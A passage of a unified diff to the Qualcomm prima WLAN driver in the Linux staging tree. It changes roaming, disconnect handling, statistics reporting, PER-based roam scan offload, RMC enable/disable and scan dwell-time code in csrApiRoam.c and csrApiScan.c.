sme_ReleaseGlobalLock(&pMac->sme); } } else { - smsLog(pMac, LOGW, "%s: could not post link up", - __func__); + smsLog(pMac, LOGE, FL("Session id %d is disconnected"), + pInfo->sessionId); } } else @@ -11020,17 +11247,7 @@ eHalStatus csrRoamLostLink( tpAniSirGlobal pMac, tANI_U32 sessionId, tANI_U32 ty result = eCSR_ROAM_RESULT_DEAUTH_IND; pDeauthIndMsg = (tSirSmeDeauthInd *)pSirMsg; pSession->roamingStatusCode = pDeauthIndMsg->statusCode; - /* Convert into proper reason code */ - if ((pDeauthIndMsg->reasonCode == eSIR_BEACON_MISSED) || - (pDeauthIndMsg->reasonCode == - eSIR_MAC_DISASSOC_DUE_TO_INACTIVITY_REASON)) - pSession->joinFailStatusCode.reasonCode = 0; - else - pSession->joinFailStatusCode.reasonCode = pDeauthIndMsg->reasonCode; - - /* cfg layer expects 0 as reason code if - the driver dosent know the reason code - eSIR_BEACON_MISSED is defined as locally */ + pSession->joinFailStatusCode.reasonCode = pDeauthIndMsg->reasonCode; } else { @@ -11125,16 +11342,6 @@ eHalStatus csrRoamLostLink( tpAniSirGlobal pMac, tANI_U32 sessionId, tANI_U32 ty } if(!fToRoam) { - //Tell HDD about the lost link - if(!CSR_IS_INFRA_AP(&pSession->connectedProfile)) - { - /* Don't call csrRoamCallCallback for GO/SoftAp case as this indication - * was already given as part of eWNI_SME_DISASSOC_IND msg handling in - * csrRoamCheckForLinkStatusChange API. - */ - csrRoamCallCallback(pMac, sessionId, &roamInfo, 0, eCSR_ROAM_LOSTLINK, result); - } - /*No need to start idle scan in case of IBSS/SAP Still enable idle scan for polling in case concurrent sessions are running */ if(CSR_IS_INFRASTRUCTURE(&pSession->connectedProfile)) @@ -12398,7 +12605,7 @@ eHalStatus csrRoamSetBKIDCache( tpAniSirGlobal pMac, tANI_U32 sessionId, tBkidCa tANI_U32 numItems ) { eHalStatus status = eHAL_STATUS_INVALID_PARAMETER; - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; if(!CSR_IS_SESSION_VALID( pMac, sessionId )) { smsLog(pMac, LOGE, FL(" Invalid session ID")); @@ -12424,7 +12631,7 @@ eHalStatus csrRoamGetBKIDCache(tpAniSirGlobal pMac, tANI_U32 sessionId, tANI_U32 tBkidCacheInfo *pBkidCache) { eHalStatus status = eHAL_STATUS_INVALID_PARAMETER; - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; if(!CSR_IS_SESSION_VALID( pMac, sessionId )) { smsLog(pMac, LOGE, FL(" Invalid session ID")); @@ -13176,6 +13383,8 @@ eHalStatus csrSendJoinReqMsg( tpAniSirGlobal pMac, tANI_U32 sessionId, tSirBssDe pBuf++; *pBuf = (tANI_U8)pProfile->bOSENAssociation; pBuf++; + *pBuf = (tANI_U8)pProfile->bWPSAssociation; + pBuf++; //CBMode *pBuf = (tANI_U8)pSession->bssParams.cbMode; pBuf++; @@ -14125,6 +14334,7 @@ eHalStatus csrSendMBDisassocCnfMsg( tpAniSirGlobal pMac, tpSirSmeDisassocInd pDi pMsg->messageType = pal_cpu_to_be16((tANI_U16)eWNI_SME_DISASSOC_CNF); pMsg->statusCode = (tSirResultCodes)pal_cpu_to_be32(eSIR_SME_SUCCESS); pMsg->length = pal_cpu_to_be16((tANI_U16)sizeof( tSirSmeDisassocCnf )); + pMsg->assocId = pal_cpu_to_be16((tANI_U16)pDisassocInd->assocId); vos_mem_copy(pMsg->peerMacAddr, pDisassocInd->peerMacAddr, sizeof(pMsg->peerMacAddr)); status = eHAL_STATUS_SUCCESS; @@ -14162,6 +14372,7 @@ eHalStatus csrSendMBDeauthCnfMsg( tpAniSirGlobal pMac, tpSirSmeDeauthInd pDeauth pMsg->messageType = pal_cpu_to_be16((tANI_U16)eWNI_SME_DEAUTH_CNF); pMsg->statusCode = (tSirResultCodes)pal_cpu_to_be32(eSIR_SME_SUCCESS); pMsg->length = pal_cpu_to_be16((tANI_U16)sizeof( tSirSmeDeauthCnf )); + pMsg->assocId = pal_cpu_to_be16((tANI_U16)pDeauthInd->assocId); vos_mem_copy(pMsg->bssId, pDeauthInd->bssId, sizeof(pMsg->bssId)); status = eHAL_STATUS_SUCCESS; if(!HAL_STATUS_SUCCESS(status)) @@ -14299,6 +14510,8 @@ eHalStatus csrSendAssocIndToUpperLayerCnfMsg( tpAniSirGlobal pMac, *pBuf = pAssocInd->HT40MHzIntoEnabledSta; pBuf += sizeof (tANI_U8); #endif + *pBuf = pAssocInd->rate_flags; + pBuf += sizeof (uint32_t); msgQ.type = eWNI_SME_UPPER_LAYER_ASSOC_CNF; msgQ.bodyptr = pMsg; msgQ.bodyval = 0; @@ -14801,7 +15014,7 @@ eHalStatus csrRoamOpenSession(tpAniSirGlobal pMac, { eHalStatus status = eHAL_STATUS_SUCCESS; tANI_U32 i; - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; *pbSessionId = CSR_SESSION_ID_INVALID; for( i = 0; i < CSR_ROAM_SESSION_MAX; i++ ) { @@ -14970,7 +15183,8 @@ eHalStatus csrProcessDelStaSessionCommand( tpAniSirGlobal pMac, tSmeCmd *pComman return csrSendMBDelSelfStaReqMsg( pMac, pCommand->u.delStaSessionCmd.selfMacAddr ); } -static void purgeCsrSessionCmdList(tpAniSirGlobal pMac, tANI_U32 sessionId) +static void purgeCsrSessionCmdList(tpAniSirGlobal pMac, tANI_U32 sessionId, + bool flush_all) { tDblLinkList *pList = &pMac->roam.roamCmdPendingList; tListElem *pEntry, *pNext; @@ -14989,6 +15203,13 @@ static void purgeCsrSessionCmdList(tpAniSirGlobal pMac, tANI_U32 sessionId) { pNext = csrLLNext(pList, pEntry, LL_ACCESS_NOLOCK); pCommand = GET_BASE_ADDR( pEntry, tSmeCmd, Link ); + + if (!flush_all && + csr_is_disconnect_full_power_cmd(pCommand)) { + smsLog(pMac, LOGW, FL(" Ignore disconnect")); + pEntry = pNext; + continue; + } if(pCommand->sessionId == sessionId) { if(csrLLRemoveEntry(pList, pEntry, LL_ACCESS_NOLOCK)) @@ -15021,28 +15242,25 @@ void csrCleanupSession(tpAniSirGlobal pMac, tANI_U32 sessionId) #ifdef FEATURE_WLAN_BTAMP_UT_RF vos_timer_destroy(&pSession->hTimerJoinRetry); #endif - purgeSmeSessionCmdList(pMac, sessionId, &pMac->sme.smeCmdPendingList); - if (pMac->fScanOffload) - { - purgeSmeSessionCmdList(pMac, sessionId, - &pMac->sme.smeScanCmdPendingList); - } - - purgeCsrSessionCmdList(pMac, sessionId); + csrPurgeSmeCmdList(pMac, sessionId, true); csrInitSession(pMac, sessionId); } } -void csrPurgeSmeCmdList(tpAniSirGlobal pMac, tANI_U32 sessionId) +void csrPurgeSmeCmdList(tpAniSirGlobal pMac, tANI_U32 sessionId, + bool flush_all) { purgeSmeSessionCmdList(pMac, sessionId, - &pMac->sme.smeCmdPendingList); + &pMac->sme.smeCmdPendingList, + flush_all); if (pMac->fScanOffload) { purgeSmeSessionCmdList(pMac, sessionId, - &pMac->sme.smeScanCmdPendingList); + &pMac->sme.smeScanCmdPendingList, + flush_all); } - purgeCsrSessionCmdList(pMac, sessionId); + purgeCsrSessionCmdList(pMac, sessionId, + flush_all); } eHalStatus csrRoamCloseSession( tpAniSirGlobal pMac, tANI_U32 sessionId, @@ -15060,8 +15278,7 @@ eHalStatus csrRoamCloseSession( tpAniSirGlobal pMac, tANI_U32 sessionId, } else { - if(bPurgeList) - csrPurgeSmeCmdList(pMac, sessionId); + csrPurgeSmeCmdList(pMac, sessionId, bPurgeList); /* If bPurgeList is FALSE, it means HDD already free all the * cmd and later queue few essential cmd. Now sme should process * the cmd in pending queue order only.Hence we should @@ -15458,6 +15675,7 @@ void csrRoamStatsRspProcessor(tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg) v_PVOID_t pvosGCtx; v_S7_t rssi = 0, snr = 0; tANI_U32 *pRssi = NULL, *pSnr = NULL; + tAniPerTxPktStatsInfo * txPacketInfo; tANI_U32 linkCapacity; pSmeStatsRsp = (tAniGetPEStatsRsp *)pSirMsg; if(pSmeStatsRsp->rc) @@ -15511,6 +15729,7 @@ void csrRoamStatsRspProcessor(tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg) smsLog( pMac, LOG2, FL("csrRoamStatsRspProcessor:PerSta stats")); if( CSR_MAX_STA > pSmeStatsRsp->staId ) { + status = eHAL_STATUS_SUCCESS; vos_mem_copy((tANI_U8 *)&pMac->roam.perStaStatsInfo[pSmeStatsRsp->staId], pStats, sizeof(tCsrPerStaStatsInfo)); } @@ -15527,6 +15746,19 @@ void csrRoamStatsRspProcessor(tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg) pStats += sizeof(tCsrPerStaStatsInfo); length -= sizeof(tCsrPerStaStatsInfo); break; + case eCsrPerPktStats: + smsLog( pMac, LOG2, FL("csrRoamStatsRspProcessor:PerPkt stats")); + vos_mem_zero(&pMac->roam.perPktStatsInfo, sizeof(tPerTxPacketFrmFw)); + if (IS_FEATURE_SUPPORTED_BY_FW(PER_PKT_STATS_SUPPORTED)) + { + txPacketInfo = (tAniPerTxPktStatsInfo *)pStats; + pMac->roam.perPktStatsInfo.lastTxRate = txPacketInfo->lastTxRate; + pMac->roam.perPktStatsInfo.txAvgRetry = txPacketInfo->txAvgRetry; + /* for reserved bytes */ + pStats += (sizeof(tAniPerTxPktStatsInfo) + 2*sizeof(tANI_U32)); + length -= (sizeof(tAniPerTxPktStatsInfo) + 2*sizeof(tANI_U32)); + } + break; default: smsLog( pMac, LOGW, FL("csrRoamStatsRspProcessor:unknown stats type")); break; @@ -15548,7 +15780,9 @@ void csrRoamStatsRspProcessor(tpAniSirGlobal pMac, tSirSmeRsp *pSirMsg) /* If riva is not sending rssi, continue to use the hack */ rssi = RSSI_HACK_BMPS; } - + /* send positive value of rssi to wifi_hal */ + pMac->roam.perPktStatsInfo.avgRssi = (-1)*rssi; + vos_updatePktStatsInfo(&pMac->roam.perPktStatsInfo); WDA_UpdateRssiBmps(pvosGCtx, pSmeStatsRsp->staId, rssi); if (length != 0) @@ -16107,12 +16341,15 @@ eHalStatus csrGetStatistics(tpAniSirGlobal pMac, eCsrStatsRequesterType requeste pMac->roam.tlStatsReqInfo.periodicity = 0; pMac->roam.tlStatsReqInfo.timerRunning = FALSE; } - vos_timer_stop( &pStaEntry->timer ); - // Destroy the vos timer... - vosStatus = vos_timer_destroy( &pStaEntry->timer ); - if ( !VOS_IS_STATUS_SUCCESS( vosStatus ) ) + if (periodicity) { - smsLog(pMac, LOGE, FL("csrGetStatistics:failed to destroy Client req timer")); + vos_timer_stop(&pStaEntry->timer); + // Destroy the vos timer + vosStatus = vos_timer_destroy(&pStaEntry->timer); + if (!VOS_IS_STATUS_SUCCESS(vosStatus)) + { + smsLog(pMac, LOGE, FL("Failed to destroy Client req timer")); + } } csrRoamRemoveStatListEntry(pMac, pEntry); pStaEntry = NULL; @@ -16435,8 +16672,8 @@ csrRoamScanOffloadPrepareProbeReqTemplate(tpAniSirGlobal pMac, || V | RSO_START | RSO_STOP | RSO_RESTART | RSO_UPDATE_CFG || || --------------------------------------------------------------------------|| || RSO_START | NO | YES | NO | NO || -|| RSO_STOP | YES | YES | YES | YES || -|| RSO_RESTART | YES | NO | NO | YES || +|| RSO_STOP | YES | NO | YES | YES || +|| RSO_RESTART | YES | NO | YES | YES || || RSO_UPDATE_CFG | YES | NO | YES | YES || ||===========================================================================|| */ @@ -16448,9 +16685,10 @@ csrRoamScanOffloadPrepareProbeReqTemplate(tpAniSirGlobal pMac, #define RSO_START_ALLOW_MASK ( RSO_STOP_BIT ) #define RSO_STOP_ALLOW_MASK ( RSO_UPDATE_CFG_BIT | RSO_RESTART_BIT | \ - RSO_STOP_BIT | RSO_START_BIT ) -#define RSO_RESTART_ALLOW_MASK ( RSO_UPDATE_CFG_BIT | RSO_START_BIT ) -#define RSO_UPDATE_CFG_ALLOW_MASK (RSO_UPDATE_CFG_BIT | RSO_STOP_BIT | \ + RSO_START_BIT ) +#define RSO_RESTART_ALLOW_MASK ( RSO_UPDATE_CFG_BIT | RSO_START_BIT | \ + RSO_RESTART_BIT ) +#define RSO_UPDATE_CFG_ALLOW_MASK (RSO_UPDATE_CFG_BIT | RSO_RESTART_BIT | \ RSO_START_BIT) tANI_BOOLEAN CsrIsRSOCommandAllowed(tpAniSirGlobal pMac, tANI_U8 command) @@ -16482,9 +16720,11 @@ tANI_BOOLEAN CsrIsRSOCommandAllowed(tpAniSirGlobal pMac, tANI_U8 command) eHalStatus csrRoamOffloadScan(tpAniSirGlobal pMac, tANI_U8 command, tANI_U8 reason) { vos_msg_t msg; + vos_msg_t PERroamScanConfigMsg = {0}; tSirRoamOffloadScanReq *pRequestBuf; + tSirPERRoamOffloadScanReq *PERRoamReqBuf; tpCsrNeighborRoamControlInfo pNeighborRoamInfo = &pMac->roam.neighborRoamInfo; - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; tANI_U8 i,j,num_channels = 0, ucDot11Mode; tANI_U8 *ChannelList = NULL; tANI_U32 sessionId = 0; @@ -16576,6 +16816,11 @@ eHalStatus csrRoamOffloadScan(tpAniSirGlobal pMac, tANI_U8 command, tANI_U8 reas return eHAL_STATUS_FAILED_ALLOC; } +#ifdef FEATURE_WLAN_DIAG_SUPPORT + limDiagEventReport(pMac, WLAN_PE_DIAG_ROAM_REQUESTED, NULL, + eSIR_SUCCESS, eSIR_SUCCESS); +#endif + vos_mem_zero(pRequestBuf, sizeof(tSirRoamOffloadScanReq)); /* If command is STOP, then pass down ScanOffloadEnabled as Zero.This will handle the case of * host driver reloads, but Riva still up and running*/ @@ -16763,6 +17008,7 @@ eHalStatus csrRoamOffloadScan(tpAniSirGlobal pMac, tANI_U8 command, tANI_U8 reas /* MAWC feature */ pRequestBuf->MAWCEnabled = pMac->roam.configParam.MAWCEnabled; + #ifdef FEATURE_WLAN_ESE pRequestBuf->IsESEEnabled = pMac->roam.configParam.isEseIniFeatureEnabled; #endif @@ -16961,6 +17207,55 @@ eHalStatus csrRoamOffloadScan(tpAniSirGlobal pMac, tANI_U8 command, tANI_U8 reas } VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_DEBUG, "Roam Scan Offload Command %d, Reason %d", command, reason); + + if (sme_IsFeatureSupportedByFW(PER_BASED_ROAMING) && + (command != ROAM_SCAN_OFFLOAD_STOP) && + pMac->roam.configParam.isPERRoamEnabled) + { + + /* PER ROAM SCAN */ + PERRoamReqBuf = vos_mem_malloc(sizeof(*PERRoamReqBuf)); + if (!PERRoamReqBuf) + { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + "%s: Not able to allocate mem for PERRoamReqBuf", __func__); + return eHAL_STATUS_FAILURE; + } + /* PER Roam Config */ + PERRoamReqBuf->rateUpThreshold = + pMac->roam.configParam.rateUpThreshold; + PERRoamReqBuf->rateDownThreshold = + pMac->roam.configParam.rateDownThreshold; + PERRoamReqBuf->waitPeriodForNextPERScan = + pMac->roam.configParam.waitPeriodForNextPERScan; + PERRoamReqBuf->PERtimerThreshold = + pMac->roam.configParam.PERtimerThreshold; + PERRoamReqBuf->isPERRoamCCAEnabled = + pMac->roam.configParam.isPERRoamCCAEnabled; + PERRoamReqBuf->PERRoamFullScanThreshold = + pMac->roam.configParam.PERRoamFullScanThreshold; + PERRoamReqBuf->PERroamTriggerPercent = + pMac->roam.configParam.PERroamTriggerPercent; + PERRoamReqBuf->sessionId = sessionId; + + PERroamScanConfigMsg.type = WDA_PER_ROAM_SCAN_OFFLOAD_REQ; + PERroamScanConfigMsg.reserved = 0; + PERroamScanConfigMsg.bodyptr = PERRoamReqBuf; + if (!VOS_IS_STATUS_SUCCESS(vos_mq_post_message(VOS_MODULE_ID_WDA, + &PERroamScanConfigMsg))) { + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_ERROR, + FL("Not able to post WDA_PER_ROAM_SCAN_OFFLOAD_REQ msg to WDA")); + vos_mem_free(PERRoamReqBuf); + return eHAL_STATUS_FAILURE; + } + VOS_TRACE(VOS_MODULE_ID_SME, VOS_TRACE_LEVEL_DEBUG, + FL("rateUpThreshold =%x rateDownThreshold =%x waitPeriodForNextPERScan=%u PERtimerThreshold=%u"), + PERRoamReqBuf->rateUpThreshold, + PERRoamReqBuf->rateDownThreshold, + PERRoamReqBuf->waitPeriodForNextPERScan, + PERRoamReqBuf->PERtimerThreshold); + } + return status; } @@ -17251,6 +17546,12 @@ void csrRoamReportStatistics(tpAniSirGlobal pMac, tANI_U32 statsMask, sizeof(tCsrPerStaStatsInfo)); pStats += sizeof(tCsrPerStaStatsInfo); break; + case eCsrPerPktStats: + smsLog( pMac, LOG2, FL("PerPkt stats")); + vos_mem_copy( pStats, (tANI_U8 *)&pMac->roam.perPktStatsInfo, + sizeof(tPerTxPacketFrmFw)); + pStats += sizeof(tPerTxPacketFrmFw); + break; default: smsLog( pMac, LOGE, FL("Unknown stats type and counter %d"), counter); break; @@ -18066,8 +18367,11 @@ eHalStatus csrHT40StopOBSSScan(tpAniSirGlobal pMac, v_U8_t sessionId) } vos_mem_zero((void *)pMsg, sizeof(tSirSmeHT40OBSSStopScanInd)); pMsg->messageType = eWNI_SME_HT40_STOP_OBSS_SCAN_IND; - pMsg->length = sizeof(tANI_U8); + pMsg->length = + pal_cpu_to_be16(sizeof(tSirSmeHT40OBSSStopScanInd)); pMsg->seesionId = sessionId; + vos_mem_copy(pMsg->bssid, pSession->connectedProfile.bssid, + sizeof(tSirMacAddr)); status = palSendMBMessage(pMac->hHdd, pMsg); if (!HAL_STATUS_SUCCESS(status)) { @@ -18122,6 +18426,27 @@ tANI_BOOLEAN csrRoamIsStaMode(tpAniSirGlobal pMac, tANI_U32 sessionId) return eANI_BOOLEAN_FALSE; } +/** + * csr_set_src_handoff_request() - Set handoff source to + * SME handoff request + * @pHandoffInfo: Pointer to Handoff info + * @pMsg: Pointer to SME handoff request message + * + * Return: None + */ +#ifndef QCA_WIFI_ISOC +static inline void csr_set_src_handoff_request(tAniHandoffReq *pMsg, + tCsrHandoffRequest *pHandoffInfo) +{ + pMsg->handoff_src = pHandoffInfo->src; +} +#else +static inline void csr_set_src_handoff_request(tAniHandoffReq *pMsg, + tCsrHandoffRequest *pHandoffInfo) +{ +} +#endif + #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD eHalStatus csrHandoffRequest(tpAniSirGlobal pMac, tCsrHandoffRequest *pHandoffInfo) @@ -18140,6 +18465,7 @@ eHalStatus csrHandoffRequest(tpAniSirGlobal pMac, pMsg->msgLen = (tANI_U16)sizeof(tAniHandoffReq); pMsg->sessionId = pMac->roam.neighborRoamInfo.csrSessionId; pMsg->channel = pHandoffInfo->channel; + csr_set_src_handoff_request(pMsg, pHandoffInfo); vos_mem_copy(pMsg->bssid, pHandoffInfo->bssid, 6); @@ -18156,6 +18482,79 @@ eHalStatus csrHandoffRequest(tpAniSirGlobal pMac, } #endif /* WLAN_FEATURE_ROAM_SCAN_OFFLOAD */ +#ifdef WLAN_FEATURE_RMC +eHalStatus csrEnableRMC(tpAniSirGlobal pMac, tANI_U32 sessionId) +{ + tSirSetRMCReq *pMsg = NULL; + eHalStatus status = eHAL_STATUS_SUCCESS; + tCsrRoamSession *pSession = CSR_GET_SESSION(pMac, sessionId); + + if (!pSession) + { + smsLog(pMac, LOGE, FL(" session %d not found "), sessionId); + return eHAL_STATUS_FAILURE; + } + + pMsg = vos_mem_malloc(sizeof(tSirSetRMCReq)); + if (NULL != pMsg) + { + vos_mem_set((void *)pMsg, sizeof(tSirSetRMCReq), 0); + pMsg->msgType = eWNI_SME_ENABLE_RMC_REQ; + pMsg->msgLen = sizeof(tSirSetRMCReq); + vos_mem_copy((v_U8_t *)pMsg->mcastTransmitter, + &pSession->selfMacAddr, sizeof(tSirMacAddr)); + + status = palSendMBMessage(pMac->hHdd, pMsg); + if (!HAL_STATUS_SUCCESS(status)) + { + smsLog(pMac, LOGE, FL(" csr enable RMC Post MSG Fail %d "), status); + //pMsg is freed by palSendMBMessage + } + } + else + { + return eHAL_STATUS_FAILURE; + } + return status; +} + +eHalStatus csrDisableRMC(tpAniSirGlobal pMac, tANI_U32 sessionId) +{ + tSirSetRMCReq *pMsg = NULL; + eHalStatus status = eHAL_STATUS_SUCCESS; + tCsrRoamSession *pSession = CSR_GET_SESSION(pMac, sessionId); + + if (!pSession) + { + smsLog(pMac, LOGE, FL(" session %d not found "), sessionId); + return eHAL_STATUS_FAILURE; + } + + pMsg = vos_mem_malloc(sizeof(tSirSetRMCReq)); + if (NULL != pMsg) + { + vos_mem_set((void *)pMsg, sizeof(tSirSetRMCReq), 0); + pMsg->msgType = eWNI_SME_DISABLE_RMC_REQ; + pMsg->msgLen = sizeof(tSirSetRMCReq); + vos_mem_copy((v_U8_t *)pMsg->mcastTransmitter, + &pSession->selfMacAddr, sizeof(tSirMacAddr)); + + status = palSendMBMessage(pMac->hHdd, pMsg); + if (!HAL_STATUS_SUCCESS(status)) + { + smsLog(pMac, LOGE, FL(" csr disable RMC Post MSG Fail %d "), status); + //pMsg is freed by palSendMBMessage + } + } + else + { + return eHAL_STATUS_FAILURE; + } + return status; +} + +#endif /* WLAN_FEATURE_RMC */ + #if defined(FEATURE_WLAN_ESE) && defined(FEATURE_WLAN_ESE_UPLOAD) /* --------------------------------------------------------------------------- diff --git a/drivers/staging/prima/CORE/SME/src/csr/csrApiScan.c b/drivers/staging/prima/CORE/SME/src/csr/csrApiScan.c index 7d9046baddf45..1ccbf5ef5ac15 100644 --- a/drivers/staging/prima/CORE/SME/src/csr/csrApiScan.c +++ b/drivers/staging/prima/CORE/SME/src/csr/csrApiScan.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -90,6 +90,12 @@ RSSI *cannot* be more than 0xFF or less than 0 for meaningful WLAN operation #define CSR_SCAN_HANDOFF_DELTA 10 #define MAX_ACTIVE_SCAN_FOR_ONE_CHANNEL 140 #define MIN_ACTIVE_SCAN_FOR_ONE_CHANNEL 120 + +#ifndef QCA_WIFI_ISOC +#define MAX_ACTIVE_SCAN_FOR_ONE_CHANNEL_FASTREASSOC 30 +#define MIN_ACTIVE_SCAN_FOR_ONE_CHANNEL_FASTREASSOC 20 +#endif + #define CSR_SCAN_OVERALL_SCORE( rssi ) \ (( rssi < CSR_SCAN_MAX_SCORE_VAL ) \ ? (CSR_SCAN_MAX_SCORE_VAL-rssi) : CSR_SCAN_MIN_SCORE_VAL) @@ -142,6 +148,7 @@ eHalStatus csrSetBGScanChannelList( tpAniSirGlobal pMac, tANI_U8 *pAdjustChannel void csrReleaseCmdSingle(tpAniSirGlobal pMac, tSmeCmd *pCommand); tANI_BOOLEAN csrRoamIsValidChannel( tpAniSirGlobal pMac, tANI_U8 channel ); void csrPruneChannelListForMode( tpAniSirGlobal pMac, tCsrChannel *pChannelList ); +void csrPurgeOldScanResults(tpAniSirGlobal pMac); @@ -303,8 +310,10 @@ static void csrSetDefaultScanTiming( tpAniSirGlobal pMac, tSirScanType scanType, pScanRequest->maxChnTime = pMac->roam.configParam.nPassiveMaxChnTimeConc; pScanRequest->minChnTime = pMac->roam.configParam.nPassiveMinChnTimeConc; } - pScanRequest->maxChnTimeBtc = pMac->roam.configParam.nActiveMaxChnTimeBtc; - pScanRequest->minChnTimeBtc = pMac->roam.configParam.nActiveMinChnTimeBtc; + pScanRequest->max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; + pScanRequest->min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; pScanRequest->restTime = pMac->roam.configParam.nRestTimeConc; @@ -329,8 +338,10 @@ static void csrSetDefaultScanTiming( tpAniSirGlobal pMac, tSirScanType scanType, pScanRequest->maxChnTime = pMac->roam.configParam.nPassiveMaxChnTime; pScanRequest->minChnTime = pMac->roam.configParam.nPassiveMinChnTime; } - pScanRequest->maxChnTimeBtc = pMac->roam.configParam.nActiveMaxChnTimeBtc; - pScanRequest->minChnTimeBtc = pMac->roam.configParam.nActiveMinChnTimeBtc; + pScanRequest->max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; + pScanRequest->min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; #ifdef WLAN_AP_STA_CONCURRENCY //No rest time if no sessions are connected. @@ -605,7 +616,7 @@ eHalStatus csrScanRequest(tpAniSirGlobal pMac, tANI_U16 sessionId, eHalStatus status = eHAL_STATUS_FAILURE; tSmeCmd *pScanCmd = NULL; eCsrConnectState ConnectState; - + if(pScanRequest == NULL) { smsLog( pMac, LOGE, FL(" pScanRequest is NULL")); @@ -717,8 +728,10 @@ eHalStatus csrScanRequest(tpAniSirGlobal pMac, tANI_U16 sessionId, pScanRequest->minChnTime); } - pScanRequest->maxChnTimeBtc = pMac->roam.configParam.nActiveMaxChnTimeBtc; - pScanRequest->minChnTimeBtc = pMac->roam.configParam.nActiveMinChnTimeBtc; + pScanRequest->max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; + pScanRequest->min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; //Need to make the following atomic pScanCmd->u.scanCmd.scanID = pMac->scan.nextScanID++; //let it wrap around @@ -784,8 +797,10 @@ eHalStatus csrScanRequest(tpAniSirGlobal pMac, tANI_U16 sessionId, scanReq.maxChnTime = pMac->roam.configParam.nActiveMaxChnTime; scanReq.minChnTime = pMac->roam.configParam.nActiveMinChnTime; - scanReq.maxChnTimeBtc = pMac->roam.configParam.nActiveMaxChnTimeBtc; - scanReq.minChnTimeBtc = pMac->roam.configParam.nActiveMinChnTimeBtc; + scanReq.max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; + scanReq.min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; } if (pMac->roam.configParam.nInitialDwellTime) { @@ -795,6 +810,24 @@ eHalStatus csrScanRequest(tpAniSirGlobal pMac, tANI_U16 sessionId, "dwell time for first scan %u"), scanReq.maxChnTime); } + if ((pScanCmd->u.scanCmd.reason == eCsrScanUserRequest) + && !(pScanRequest->p2pSearch) + &&(pScanRequest->ChannelInfo.numOfChannels + < pMac->roam.configParam. + max_chan_for_dwell_time_cfg)) + { + pScanRequest->maxChnTime = + pScanRequest->maxChnTime << 1; + pScanRequest->minChnTime = + pScanRequest->minChnTime << 1; + smsLog(pMac, LOG1, + FL("Double ChnTime (Max=%d Min=%d) numOfChannels=%d max_chan_for_dwell_time_cfg=%d"), + pScanRequest->maxChnTime, + pScanRequest->minChnTime, + pScanRequest->ChannelInfo.numOfChannels, + pMac->roam.configParam. + max_chan_for_dwell_time_cfg); + } status = csrScanCopyRequest(pMac, &p11dScanCmd->u.scanCmd.u.scanRequest, &scanReq); //Free the channel list @@ -855,6 +888,20 @@ eHalStatus csrScanRequest(tpAniSirGlobal pMac, tANI_U16 sessionId, pScanRequest->maxChnTime); } + if ((pScanCmd->u.scanCmd.reason == eCsrScanUserRequest) + && !(pScanRequest->p2pSearch) + && (pScanRequest->ChannelInfo.numOfChannels + < pMac->roam.configParam.max_chan_for_dwell_time_cfg)) + { + pScanRequest->maxChnTime = pScanRequest->maxChnTime << 1; + pScanRequest->minChnTime = pScanRequest->minChnTime << 1; + smsLog(pMac, LOG1, + FL("Double ChnTime (Max=%d Min=%d) numOfChannels=%d max_chan_for_dwell_time_cfg=%d"), + pScanRequest->maxChnTime, + pScanRequest->minChnTime, + pScanRequest->ChannelInfo.numOfChannels, + pMac->roam.configParam.max_chan_for_dwell_time_cfg); + } status = csrScanCopyRequest(pMac, &pScanCmd->u.scanCmd.u.scanRequest, pScanRequest); if(HAL_STATUS_SUCCESS(status)) { @@ -874,8 +921,8 @@ eHalStatus csrScanRequest(tpAniSirGlobal pMac, tANI_U16 sessionId, pTempScanReq->p2pSearch, pTempScanReq->minChnTime, pTempScanReq->maxChnTime, - pTempScanReq->minChnTimeBtc, - pTempScanReq->maxChnTimeBtc ); + pTempScanReq->min_chntime_btc_esco, + pTempScanReq->max_chntime_btc_esco); //Start process the command #ifdef WLAN_AP_STA_CONCURRENCY if (!pMac->fScanOffload) @@ -1022,8 +1069,10 @@ eHalStatus csrScanAllChannels(tpAniSirGlobal pMac, eCsrRequestType reqType) scanReq.requestType = reqType; scanReq.maxChnTime = pMac->roam.configParam.nActiveMaxChnTime; scanReq.minChnTime = pMac->roam.configParam.nActiveMinChnTime; - scanReq.maxChnTimeBtc = pMac->roam.configParam.nActiveMaxChnTimeBtc; - scanReq.minChnTimeBtc = pMac->roam.configParam.nActiveMinChnTimeBtc; + scanReq.max_chntime_btc_esco = + pMac->roam.configParam.max_chntime_btc_esco; + scanReq.min_chntime_btc_esco = + pMac->roam.configParam.min_chntime_btc_esco; //Scan with invalid sessionId. //This results in SME using the first available session to scan. status = csrScanRequest(pMac, CSR_SESSION_ID_INVALID, &scanReq, @@ -1310,8 +1359,10 @@ eHalStatus csrScanRequestLostLink1( tpAniSirGlobal pMac, tANI_U32 sessionId ) pCommand->u.scanCmd.pContext = NULL; pCommand->u.scanCmd.u.scanRequest.maxChnTime = pMac->roam.configParam.nActiveMaxChnTime; pCommand->u.scanCmd.u.scanRequest.minChnTime = pMac->roam.configParam.nActiveMinChnTime; - pCommand->u.scanCmd.u.scanRequest.maxChnTimeBtc = pMac->roam.configParam.nActiveMaxChnTimeBtc; - pCommand->u.scanCmd.u.scanRequest.minChnTimeBtc = pMac->roam.configParam.nActiveMinChnTimeBtc; + 